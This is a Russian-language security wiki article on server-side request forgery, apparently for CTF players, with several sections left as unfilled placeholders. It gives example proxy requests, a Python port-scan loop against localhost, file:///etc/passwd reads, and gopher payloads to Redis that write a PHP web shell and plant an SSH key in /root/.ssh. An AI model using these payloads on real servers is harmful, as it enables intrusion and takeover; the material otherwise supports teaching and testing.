Ssrf

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск

SSRF(Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер.

Статья разделена на поиск уязвимого параметра для передачи URL и уже непосредственно эксплуатацию.

Поиск

Данная тема может появляться в разных тематиках и обозначаться разными ключевыми словами.

Прокси

Самое типичное - возможность использования скрипта как веб-прокси.

Proxy.png

Если вы анализируете непосредственно HTTP запросы, то может быть следующее:

    POST /proxy.php HTTP/1.1
    Host: coolserver.com
     
    url=http://ipwnedyourscript.org

Скачивание файлов

Всем известный пример - скачивание аватарки по http без проверки типа файла.

Imageurl.png

Но так же это происходит и при скачивании файлов любых форматов:

Filebyurl.png

Иногда это может перейти в другие уязвимости, например File Upload + LFI = RCE (или сразу shell upload). О них вы можете почитать в соответствующих статьях.

Данный случай рассматривается ТОЛЬКО в случае наличия фильтрации, не позволяющий запуск произвольного кода.

Эксплуатация

(что требуется для эксплуатации - что не должно фильтроваться)

Помощь при эксплуатации

Есть два случая - с автоматически приписывающемся префиксом и соответственно с изначальным его отсутствием.

Если у вас приписывается автоматически и вы знаете какой, то переходите в соответствующую вкладку префикса далее. Иначе пройдитесь по всем вкладкам и посмотрите, что может подойти именно к вашему скоупу.

Префикс http(s)

Разделим на возможности

1. Возможность получить сервер, доступ к которому есть только в локальной сети/для whitelist ip адресов

    GET /proxy.php?url=(http://)whitelisted.com
    Host: cooolserver.com

2. Возможность направить прокси на наш сниффер и получить скрытые заголовки (в них иногда может спрятаться флаг или информация о сервере).

    GET /proxy.php?url=192.168.1.1 HTTP/1.1
    Host: cooolserver.com

3. Сканирование доступных портов

Сделать это удобнее всего с помощью burpsuite intruder:

PortScanSSRF1.png PortScanSSRF2.png PortScanSSRF3.png


Или реализовать скрипт/вручную, отсылая следующие строки по socket'ам:

HTTP:

    GET /proxy.php?url=127.0.0.1:(1..65535) HTTP/1.1
    Host: cooolserver.com

Python:

import requests
for x in range(1,65536):
     r = requests.get( 'http://cooolserver.com/proxy.php?url=127.0.0.1:'+str(x) )
     if r.text != '':print(x)

Perl

код на перле

C/C++

код на Си


Ruby

код на руби

Префикс file

file:// позволяет читать файлы из файловой системы

Например

    file:///etc/passwd

будет считывать файл /etc/passwd

Префикс tftp

(обьяснение с примером)

Префикс gopher

Префикс требуется для общения по socket'ам.

Пример реализации - запрос gopher://127.0.0.1:8080/11234%250a6789 отошлет следующее:

    1234\n
    6789

Не забывайте, что \n нужно кодировать дважды (urlencode) - %250a, чтобы на сервер пришла строка с %0a которая впоследствии пойдет в http клиент.

Префикс dict

(обьяснение с примером)

Префикс rtsp

(обьяснение с примером)

(добавь еще префиксов)

Вектора атак

Чтение локальных файлов

Первый способ - file://<path> (выше пример был)


Второй способ - ftp?


Загрузка файлов

Если файл сохраняется под именем, который был на нашей введенной ссылке, то таким образом скорее всего возможно загрузить shell.


Для этого требуется отослать ссылку на .php или другие программные форматы.

Подключение к сервисам за фаерволом

(перечисляешь способы)


Сканирование портов

(перечисляешь способы + скрипты реализации)


Redis

Если открыт порт Redis (по-умолчанию это 6379), то при наличии прав мы можем создавать файлы с нужным содержимым.

Загрузка PHP шелла
gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/var/www/html%250d%250aconfig%2520set%2520dbfilename%2520shell.php%250d%250aset%2520test%2520"<%253fphp%2520system($_GET['c']);%2520%253f>"%250d%250asave%250d%250aQUIT%250d%250a
Добавление SSH сертификата
gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/root/.ssh%250d%250aconfig%2520set%2520dbfilename%2520authorized_keys%250d%250aset%2520test%2520"<содержимое публичного ключа id_rsa.pub>"%250d%250asave%250d%250aQUIT%250d%250a

Особенности ПО

Curl

(что поддерживает)

Requests

(что поддерживает)

(добавь свое - например робобраузеры)

Примеры из тасков

(примеры использования каких то векторов)

Райтапы

Baby Cake

Полезные ссылки

Презентация Digital Security